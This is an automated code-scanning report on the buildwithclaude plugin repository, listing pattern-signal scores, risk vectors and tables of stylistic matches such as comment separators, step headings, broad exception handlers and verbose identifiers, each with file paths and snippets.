AI Slop Code RIsk Monitor

davepoon/buildwithclaude

A single hub to find Claude Skills, Agents, Commands, Hooks, Plugins, and Marketplace collections to extend Claude Code, Claude Desktop, Agent SDK and OpenClaw

7.5 Moderate pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for davepoon/buildwithclaude, a Python project with 3,619 GitHub stars. SynthScan examined 322,534 lines of code across 2079 source files, recording 1347 pattern matches distributed across 21 syntactic categories. The legacy adjusted pattern signal is 7.5 (Moderate pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

7.5
Adjusted Signal
7.5
Raw Pattern Score
100%
Time Factor
2026-10-11
Last Push
3.6K
Stars
Python
Language
322.5K
Lines of Code
2.1K
Files
1.3K
Pattern Hits
2026-10-12
Scan Date
0.02
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 18.4/100 · LOW

Can maintainers explain intent, assumptions, and trade-offs? 866 finding(s).

Hallucinated Dependency & Supply Chain Risk 2.2/100 · LOW

Are imports declared and package/API names verified? 110 finding(s).

Agent Over-Engineering Ratio 16.4/100 · LOW

Are wrappers, guards, and repeated structures necessary? 537 finding(s).

PR Review Velocity Impact 28.9/100 · MEDIUM

Which changes need focused human review? 1347 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

Run additional scans to build a history of the legacy pattern signal. Score changes are not a measure of AI adoption or code quality.

No multi-scan history yet — run the scanner again to build trend data.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 0HIGH 48MEDIUM 305LOW 994

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 1347 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Decorative Section Separators217 hits · 671 pts
SeverityFileLineSnippetContext
MEDIUMplugins/project-boundary/hooks/lib/git_walkers.sh3# =================================================COMMENT
MEDIUM…ns/project-boundary/hooks/lib/cd_destructive_walker.sh3# ==============================================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/remote_dispatch.sh3# ================================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/command_name.sh3# =============================================COMMENT
MEDIUM…ugins/project-boundary/hooks/lib/shell_exec_walkers.sh3# ===============================================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/tokenize.sh3# =========================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/options.sh3# ========================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/subcmd_flags.sh3# =============================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/paths.sh3# ======================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/heredoc.sh3# ========================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/expansion_blocks.sh3# ===============================================================COMMENT
MEDIUM…gins/project-boundary/hooks/lib/detectors/redirects.sh3# ===============================================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/detectors/db_dump.sh3# =============================================================COMMENT
MEDIUM…ns/project-boundary/hooks/lib/detectors/permissions.sh3# =========================================================COMMENT
MEDIUM…/project-boundary/hooks/lib/detectors/write_targets.sh3# ==================================================COMMENT
MEDIUM…ns/project-boundary/hooks/lib/detectors/destructive.sh3# ===========================================================COMMENT
MEDIUM…ject-boundary/hooks/lib/detectors/filesystem_create.sh3# ============================================================COMMENT
MEDIUM…ugins/project-boundary/hooks/lib/detectors/download.sh3# =========================================================COMMENT
MEDIUMplugins/project-boundary/hooks/lib/detectors/inplace.sh3# =====================================================COMMENT
MEDIUMplugins/claude-ops/skills/ops-package/ops-package.sh111# ─── dispatch ─────────────────────────────────────────────────────────────COMMENT
MEDIUM…l-skills/skills/voice-persona/scripts/voice_persona.py24# ═══════════════ 人格库(可自行增删) ═══════════════COMMENT
MEDIUM…l-skills/skills/voice-persona/scripts/voice_persona.py56# ═══════════════ 一、STT:语音 → 文字 ═══════════════COMMENT
MEDIUM…l-skills/skills/voice-persona/scripts/voice_persona.py78# ═══════════════ 二、人格化:文字 → 人格口吻 ═══════════════COMMENT
MEDIUM…l-skills/skills/voice-persona/scripts/voice_persona.py107# ═══════════════ 三、TTS:文字 → 语音 ═══════════════COMMENT
MEDIUM…l-skills/skills/voice-persona/scripts/voice_persona.py119# ═══════════════ 四、silk 编码:语音回发微信(双向闭环) ═══════════════COMMENT
MEDIUM…l-skills/skills/voice-persona/scripts/voice_persona.py154# ═══════════════ demo:免 key 全链路自测 ═══════════════COMMENT
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py71# ============================================================================COMMENT
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py73# ============================================================================COMMENT
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py79# ============================================================================COMMENT
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py81# ============================================================================COMMENT
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py193# ============================================================================COMMENT
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py195# ============================================================================COMMENT
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py355# ============================================================================COMMENT
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py357# ============================================================================COMMENT
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py587# ============================================================================COMMENT
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py589# ============================================================================COMMENT
MEDIUM⚡…ecommerce-material-studio/scripts/delivery_packager.py288# ============================================================================COMMENT
MEDIUM⚡…ecommerce-material-studio/scripts/delivery_packager.py290# ============================================================================COMMENT
MEDIUM⚡…ecommerce-material-studio/scripts/delivery_packager.py508# ============================================================================COMMENT
MEDIUM⚡…ecommerce-material-studio/scripts/delivery_packager.py510# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py41# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py43# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py127# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py129# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py232# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py234# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py647# ============================================================================COMMENT
MEDIUM…ecommerce-material-studio/scripts/delivery_packager.py649# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py35# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py37# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py101# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py103# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py160# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py162# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py211# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py213# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py283# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py285# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py331# ============================================================================COMMENT
MEDIUM…/ecommerce-material-studio/scripts/platform_adapter.py333# ============================================================================COMMENT
157 more matches not shown…
Structural Annotation Overuse349 hits · 618 pts
SeverityFileLineSnippetContext
LOW⚡…s-documentation-changelogs/commands/migration-guide.md46 ## Step 1: Environment SetupCOMMENT
LOW⚡…s-documentation-changelogs/commands/migration-guide.md52 ## Step 2: Dependencies UpdateCOMMENT
LOW⚡…s-documentation-changelogs/commands/migration-guide.md58 ## Step 3: Code MigrationCOMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md64## Step 0: pick a teamCOMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md81## Step 1: confirm or customize the lineupCOMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md141## Step 2: get the topicCOMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md145## Step 3: prepare the transcript fileCOMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md169## Step 4: round 1, opening statements (parallel)COMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md214## Step 5: round 2, rebuttals (parallel)COMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md241## Step 6: round 3, closing statements (parallel)COMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md271## Step 7: Boss synthesisCOMMENT
LOWplugins/meeting-bots/skills/meeting/SKILL.md331## Step 8: ask for pushback or closeCOMMENT
LOWplugins/nextjs-expert/commands/scaffold.md18### Step 1: Gather RequirementsCOMMENT
LOWplugins/nextjs-expert/commands/scaffold.md29### Step 2: Analyze Existing PatternsCOMMENT
LOW⚡plugins/nextjs-expert/commands/scaffold.md44### Step 3: Apply SkillsCOMMENT
LOW⚡plugins/nextjs-expert/commands/scaffold.md54### Step 4: Generate CodeCOMMENT
LOW⚡plugins/nextjs-expert/commands/scaffold.md62### Step 5: VerifyCOMMENT
LOWplugins/nextjs-expert/commands/add-auth.md19### Step 1: Assess Current StateCOMMENT
LOWplugins/nextjs-expert/commands/add-auth.md30### Step 2: Ask About RequirementsCOMMENT
LOWplugins/nextjs-expert/commands/add-auth.md38### Step 3: Install DependenciesCOMMENT
LOWplugins/nextjs-expert/commands/add-auth.md50### Step 4: Create Auth ConfigurationCOMMENT
LOW⚡plugins/nextjs-expert/commands/add-auth.md62### Step 5: Add MiddlewareCOMMENT
LOW⚡plugins/nextjs-expert/commands/add-auth.md69### Step 6: Update Database SchemaCOMMENT
LOW⚡plugins/nextjs-expert/commands/add-auth.md77### Step 7: Create Auth ComponentsCOMMENT
LOW⚡plugins/nextjs-expert/commands/add-auth.md84### Step 8: Environment VariablesCOMMENT
LOWplugins/nextjs-expert/commands/optimize.md17### Step 1: Analyze Current StateCOMMENT
LOWplugins/nextjs-expert/commands/optimize.md46### Step 2: Apply SkillsCOMMENT
LOWplugins/nextjs-expert/commands/optimize.md54### Step 3: Generate ReportCOMMENT
LOW⚡plugins/all-commands/commands/issue-triage.md215 // Step 1: AnalyzeCOMMENT
LOW⚡plugins/all-commands/commands/issue-triage.md219 // Step 2: Check duplicatesCOMMENT
LOW⚡plugins/all-commands/commands/issue-triage.md225 // Step 3: Determine routingCOMMENT
LOW⚡plugins/all-commands/commands/issue-triage.md233 // Step 4: Create Linear taskCOMMENT
LOW⚡plugins/all-commands/commands/issue-triage.md237 // Step 5: Update GitHubCOMMENT
LOW⚡plugins/all-commands/commands/issue-triage.md240 // Step 6: Notify stakeholdersCOMMENT
LOW⚡plugins/all-commands/commands/migration-guide.md46 ## Step 1: Environment SetupCOMMENT
LOW⚡plugins/all-commands/commands/migration-guide.md52 ## Step 2: Dependencies UpdateCOMMENT
LOW⚡plugins/all-commands/commands/migration-guide.md58 ## Step 3: Code MigrationCOMMENT
LOW…ns/all-commands/commands/create-database-migrations.md406 // Step 1: Create temporary backupCOMMENT
LOW…ns/all-commands/commands/create-database-migrations.md414 // Step 2: Migrate data in batchesCOMMENT
LOW…ns/all-commands/commands/create-database-migrations.md439 // Step 3: Validate migrationCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md374# Step 1: Upload imageCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md404# Step 2: Create ad creativeCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md416# Step 3: Create ad (status PAUSED — Rule 5)COMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md807# Step 1: List available audiences so user can pick oneCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md815# Step 2: Create exportCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md837# Step 3: Poll until ACTIVE or FAILEDCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md855# Step 4: Query resultsCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md1079# Step 1: Create media containerCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md1092# Step 2: PublishCOMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md1114# Step 1: Create video container (async — must poll for status)COMMENT
LOWplugins/claude-ops/skills/ops-marketing/SKILL.md1141# Step 2: PublishCOMMENT
LOW⚡plugins/frontend-design-pro/commands/analyze-site.md33### Step 1: Get URLCOMMENT
LOW⚡plugins/frontend-design-pro/commands/analyze-site.md39### Step 2: Browser SetupCOMMENT
LOW⚡plugins/frontend-design-pro/commands/analyze-site.md47### Step 3: Navigate and CaptureCOMMENT
LOW⚡plugins/frontend-design-pro/commands/analyze-site.md57### Step 4: Capture Multiple ViewsCOMMENT
LOWplugins/frontend-design-pro/commands/analyze-site.md70### Step 5: Analyze ElementsCOMMENT
LOWplugins/frontend-design-pro/commands/analyze-site.md105### Step 6: Generate ReportCOMMENT
LOWplugins/frontend-design-pro/commands/review.md28### Step 1: Get FileCOMMENT
LOWplugins/frontend-design-pro/commands/review.md39### Step 2: Read the FileCOMMENT
LOWplugins/frontend-design-pro/commands/review.md45### Step 3: Anti-Pattern CheckCOMMENT
289 more matches not shown…
Excessive Try-Catch Wrapping124 hits · 164 pts
SeverityFileLineSnippetContext
LOW…l-skills/skills/voice-persona/scripts/voice_persona.py85 except Exception:CODE
LOW…l-skills/skills/voice-persona/scripts/voice_persona.py162 except Exception:CODE
LOW…ills/skills/video-downloader/scripts/download_video.py232 except Exception as e:CODE
LOWplugins/all-skills/skills/xlsx/recalc.py49 except Exception:CODE
LOWplugins/all-skills/skills/xlsx/recalc.py154 except Exception as e:CODE
LOWplugins/all-skills/skills/pdf/reference.md484 except Exception as e:CODE
LOWplugins/all-skills/skills/pdf/reference.md504 except Exception as e:CODE
LOWplugins/all-skills/skills/pdf/reference.md578except Exception as e:CODE
LOW…/all-skills/skills/skill-creator/scripts/init_skill.py217 except Exception as e:CODE
LOW…/all-skills/skills/skill-creator/scripts/init_skill.py232 except Exception as e:CODE
LOW…/all-skills/skills/skill-creator/scripts/init_skill.py259 except Exception as e:CODE
LOW…l-skills/skills/skill-creator/scripts/package_skill.py80 except Exception as e:CODE
LOWplugins/all-skills/skills/pptx/ooxml/scripts/pack.py128 except Exception as e:CODE
MEDIUM…ugins/all-skills/skills/pptx/ooxml/scripts/validate.py52 print(f"Error: Validation not supported for file type {file_extension}")CODE
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py187 except Exception as e:CODE
MEDIUM⚡…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py188 print(f"Error counting paragraphs in unpacked document: {e}")CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py211 except Exception as e:CODE
MEDIUM…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py212 print(f"Error counting paragraphs in original document: {e}")CODE
LOW…ills/skills/pptx/ooxml/scripts/validation/redlining.py59 except Exception:CODE
LOW…ills/skills/pptx/ooxml/scripts/validation/redlining.py71 except Exception as e:CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py228 except Exception as e:CODE
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py471 except Exception as e:CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py140 except Exception as e:CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py359 except Exception as e:CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py604 except Exception:CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py626 except Exception as e:CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py866 except Exception as e:CODE
MEDIUMplugins/all-skills/skills/pptx/scripts/thumbnail.py100 print(f"Error: Invalid PowerPoint file: {args.input}")CODE
MEDIUMplugins/all-skills/skills/pptx/scripts/thumbnail.py124 print("Error: No slides found")CODE
LOW⚡plugins/all-skills/skills/pptx/scripts/thumbnail.py144 except Exception as e:CODE
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/thumbnail.py145 print(f"Error: {e}")CODE
LOWplugins/all-skills/skills/pptx/scripts/thumbnail.py351 except Exception:CODE
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/rearrange.py58 print(f"Error: Template file not found: {args.template}")STRING
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/rearrange.py68 print(f"Error: {e}")STRING
LOW⚡plugins/all-skills/skills/pptx/scripts/rearrange.py70 except Exception as e:STRING
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/rearrange.py71 print(f"Error processing presentation: {e}")STRING
LOWplugins/all-skills/skills/pptx/scripts/rearrange.py124 except Exception:CODE
MEDIUMplugins/all-skills/skills/pptx/scripts/inventory.py84 print(f"Error: Input file not found: {args.input}")STRING
MEDIUMplugins/all-skills/skills/pptx/scripts/inventory.py88 print("Error: Input must be a PowerPoint file (.pptx)")STRING
LOWplugins/all-skills/skills/pptx/scripts/inventory.py120 except Exception as e:STRING
MEDIUMplugins/all-skills/skills/pptx/scripts/inventory.py121 print(f"Error processing presentation: {e}")STRING
LOWplugins/all-skills/skills/pptx/scripts/inventory.py384 except Exception:CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py504 except Exception:CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py601 except Exception:CODE
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/replace.py367 print(f"Error: Input file '{input_pptx}' not found")CODE
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/replace.py371 print(f"Error: Replacements JSON file '{replacements_json}' not found")CODE
LOW⚡plugins/all-skills/skills/pptx/scripts/replace.py376 except Exception as e:CODE
MEDIUM⚡plugins/all-skills/skills/pptx/scripts/replace.py377 print(f"Error applying replacements: {e}")CODE
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py172 print(f"Error: 产品列表文件不存在: {input_file}", file=sys.stderr)CODE
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py179 print("Error: 产品列表必须是JSON数组", file=sys.stderr)CODE
MEDIUM⚡…s/ecommerce-material-studio/scripts/batch_processor.py185 print(f"Error: 产品[{i}]缺少必填字段 product_image", file=sys.stderr)CODE
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py137 print(f"Error: 状态文件不存在: {status_file}", file=sys.stderr)CODE
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py437 print(f"Error: 未找到产品 {product_id}", file=sys.stderr)CODE
MEDIUM…s/ecommerce-material-studio/scripts/batch_processor.py458 print(f"Error: 未找到产品 {product_id}", file=sys.stderr)CODE
LOW⚡…s/ecommerce-material-studio/scripts/batch_processor.py243 except Exception as e:CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py277 except Exception as e:CODE
LOW…s/ecommerce-material-studio/scripts/batch_processor.py337 except Exception as e:CODE
LOW⚡…ecommerce-material-studio/scripts/delivery_packager.py283 except Exception as e:CODE
LOW⚡…ecommerce-material-studio/scripts/delivery_packager.py504 except Exception:CODE
LOW…ecommerce-material-studio/scripts/delivery_packager.py176 except Exception:CODE
64 more matches not shown…
Hyper-Verbose Identifiers148 hits · 162 pts
SeverityFileLineSnippetContext
LOWplugins/tlsradar/scripts/dns_provider.py155def cloudflare_record_payload(name: str, value: str) -> dict:CODE
LOWplugins/tlsradar/scripts/dns_provider_test.py50 def test_txt_value_is_double_quoted(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py63 def test_embedded_quotes_escaped(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py69 def test_exact_match_returns_id(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py73 def test_non_exact_first_zone_is_rejected(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py100 def test_unrelated_zone_rejected(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py105 def test_suffix_confusion_rejected(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py110 def test_missing_prefix_rejected(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py114 def test_bad_value_charset_rejected(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py123 def test_shell_metacharacters_in_value_rejected(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py130 def test_shell_metacharacters_in_name_rejected(self):CODE
LOWplugins/tlsradar/scripts/dns_provider_test.py152 def test_rejects_non_string_fields(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py185 def test_malicious_value_rejected_no_provider_call(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py190 def test_wrong_zone_name_rejected_no_provider_call(self):CODE
LOW⚡plugins/tlsradar/scripts/dns_provider_test.py195 def test_valid_records_reach_provider(self):CODE
LOWplugins/all-commands/commands/write-tests.md154 def test_should_handle_valid_input(self):CODE
LOWplugins/all-commands/commands/setup-rate-limiting.md1637 function createTestAppWithShortWindow(windowMs) {CODE
LOW…commands-code-analysis-testing/commands/write-tests.md154 def test_should_handle_valid_input(self):CODE
LOW⚡…/all-skills/skills/x-research/scripts/test_x_client.py22 def test_loads_key_from_agentbody_credentials(self):CODE
LOW⚡…/all-skills/skills/x-research/scripts/test_x_client.py30 def test_local_credentials_override_process_environment(self):CODE
LOW⚡…/all-skills/skills/x-research/scripts/test_x_client.py38 def test_supported_commands_map_to_agentbody_routes_and_snake_case(self):CODE
LOW…/all-skills/skills/x-research/scripts/test_x_client.py61 def test_account_errors_are_actionable_and_do_not_expose_raw_body(self):CODE
LOW…ills/skills/video-downloader/scripts/download_video.py54def _ensure_skill_venv_yt_dlp() -> list[str]:STRING
LOW…ills/skills/video-downloader/scripts/download_video.py109def validate_youtube_https_url(url: str) -> str:CODE
LOW…lls/skills/atlas-cloud-media/tests/test_atlas_media.py72 def test_generate_submits_once_and_only_polls_with_get(self):CODE
LOW…lls/skills/atlas-cloud-media/tests/test_atlas_media.py116 def test_missing_required_parameter_stops_before_post(self):CODE
LOW…/all-skills/skills/pdf/scripts/fill_fillable_fields.py59def validation_error_for_field_value(field_info, field_value):CODE
LOW…l-skills/skills/pdf/scripts/extract_form_field_info.py12def get_full_annotation_field_id(annotation):CODE
LOW…/all-skills/skills/pdf/scripts/check_bounding_boxes.py18def get_bounding_box_messages(fields_json_stream) -> list[str]:CODE
LOW…skills/skills/pdf/scripts/check_bounding_boxes_test.py38 def test_label_entry_intersection_same_field(self):CODE
LOW…skills/skills/pdf/scripts/check_bounding_boxes_test.py56 def test_intersection_between_different_fields(self):CODE
LOW…skills/skills/pdf/scripts/check_bounding_boxes_test.py80 def test_different_pages_no_intersection(self):CODE
LOW…skills/skills/pdf/scripts/check_bounding_boxes_test.py104 def test_entry_height_too_small(self):CODE
LOW…skills/skills/pdf/scripts/check_bounding_boxes_test.py125 def test_entry_height_adequate(self):CODE
LOW…skills/skills/pdf/scripts/check_bounding_boxes_test.py183 def test_multiple_errors_limit(self):CODE
LOW…ll-skills/skills/muapi-media/tests/test_muapi_media.py16 def test_models_reads_top_level_models_and_filters_image_categories(self):CODE
LOW…ll-skills/skills/muapi-media/tests/test_muapi_media.py30 def test_generate_uses_catalog_endpoint_once_and_polls_get(self):CODE
LOW⚡…ll-skills/skills/muapi-media/tests/test_muapi_media.py57 def test_generation_requires_paid_confirmation(self):CODE
LOW⚡…ll-skills/skills/muapi-media/tests/test_muapi_media.py61 def test_generation_requires_a_prompt(self):CODE
LOW⚡…ll-skills/skills/muapi-media/tests/test_muapi_media.py65 def test_endpoint_identifier_is_supported_without_double_prefix(self):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py72 def validate_whitespace_preservation(self):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py173 def count_paragraphs_in_unpacked(self):CODE
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/docx.py192 def count_paragraphs_in_original(self):CODE
LOW…ills/skills/pptx/ooxml/scripts/validation/redlining.py217 def _remove_claude_tracked_changes(self, root):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py128 def validate_slide_layout_ids(self):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py203 def validate_no_duplicate_slide_layouts(self):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py243 def validate_notes_slide_references(self):CODE
LOW⚡…ll-skills/skills/pptx/ooxml/scripts/validation/base.py765 def _clean_ignorable_namespaces(self, xml_doc):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py388 def validate_all_relationship_ids(self):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py486 def _get_expected_relationship_type(self, element_name):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py641 def validate_file_against_xsd(self, xml_file, verbose=False):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py791 def _remove_ignorable_elements(self, root):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py815 def _preprocess_for_mc_ignorable(self, xml_doc):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py826 def _validate_single_file_xsd(self, xml_file, base_path):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py869 def _get_original_file_errors(self, xml_file):CODE
LOW…ll-skills/skills/pptx/ooxml/scripts/validation/base.py906 def _remove_template_tags_from_text_nodes(self, xml_doc):CODE
LOW⚡plugins/all-skills/skills/pptx/scripts/thumbnail.py149def create_hidden_slide_placeholder(size):CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py639 def _calculate_slide_overflow(self) -> None:CODE
LOWplugins/all-skills/skills/pptx/scripts/inventory.py766def collect_shapes_with_absolute_positions(CODE
LOWplugins/all-skills/skills/pptx/scripts/replace.py43def apply_paragraph_properties(paragraph, para_data: Dict[str, Any]):CODE
88 more matches not shown…
Empty Error Handlers22 hits · 110 pts
SeverityFileLineSnippetContext
HIGH…l-skills/skills/voice-persona/scripts/voice_persona.py85except Exception:CODE
HIGH…l-skills/skills/voice-persona/scripts/voice_persona.py149except OSError: passCODE
HIGH…l-skills/skills/voice-persona/scripts/voice_persona.py76except OSError: passCODE
HIGH…l-skills/skills/voice-persona/scripts/voice_persona.py152except OSError: passCODE
HIGHplugins/all-skills/skills/xlsx/recalc.py86except (FileNotFoundError, subprocess.TimeoutExpired):CODE
HIGH…ills/skills/pptx/ooxml/scripts/validation/redlining.py59except Exception:CODE
HIGH…ills/skills/pptx/ooxml/scripts/validation/redlining.py211except (subprocess.CalledProcessError, FileNotFoundError, Exception):CODE
HIGHplugins/all-skills/skills/pptx/scripts/rearrange.py124except Exception:CODE
HIGHplugins/all-skills/skills/pptx/scripts/inventory.py384except Exception:CODE
HIGHplugins/all-skills/skills/pptx/scripts/inventory.py504except Exception:CODE
HIGHplugins/all-skills/skills/pptx/scripts/inventory.py219except (AttributeError, TypeError):CODE
HIGH…lls/skills/browser-extension-launch/scripts/project.py503except (OSError, UnicodeError):CODE
HIGH…all-skills/skills/slack-gif-creator/core/validators.py158except EOFError:CODE
HIGH…skills/skills/slack-gif-creator/core/frame_composer.py310except:CODE
HIGH…ills/skills/docx/ooxml/scripts/validation/redlining.py59except Exception:CODE
HIGH…ills/skills/docx/ooxml/scripts/validation/redlining.py211except (subprocess.CalledProcessError, FileNotFoundError, Exception):CODE
HIGHplugins/all-skills/skills/docx/scripts/document.py900except ValueError:CODE
HIGHplugins/all-skills/skills/docx/scripts/document.py85except ValueError:CODE
HIGHplugins/all-skills/skills/docx/scripts/utilities.py298except ValueError:CODE
HIGH…skills/hard-predict-future/scripts/report_formatter.py246except ImportError:CODE
HIGH…skills/hard-predict-future/scripts/report_formatter.py487except Exception:CODE
HIGH…ce/skills/hard-predict-future/scripts/signal_scorer.py513except (ImportError, Exception):CODE
Modern AI Meta-Vocabulary35 hits · 100 pts
SeverityFileLineSnippetContext
MEDIUMplugins/project-boundary/hooks/lib/options.sh4# Two orchestration helpers kept together because they wrap theCOMMENT
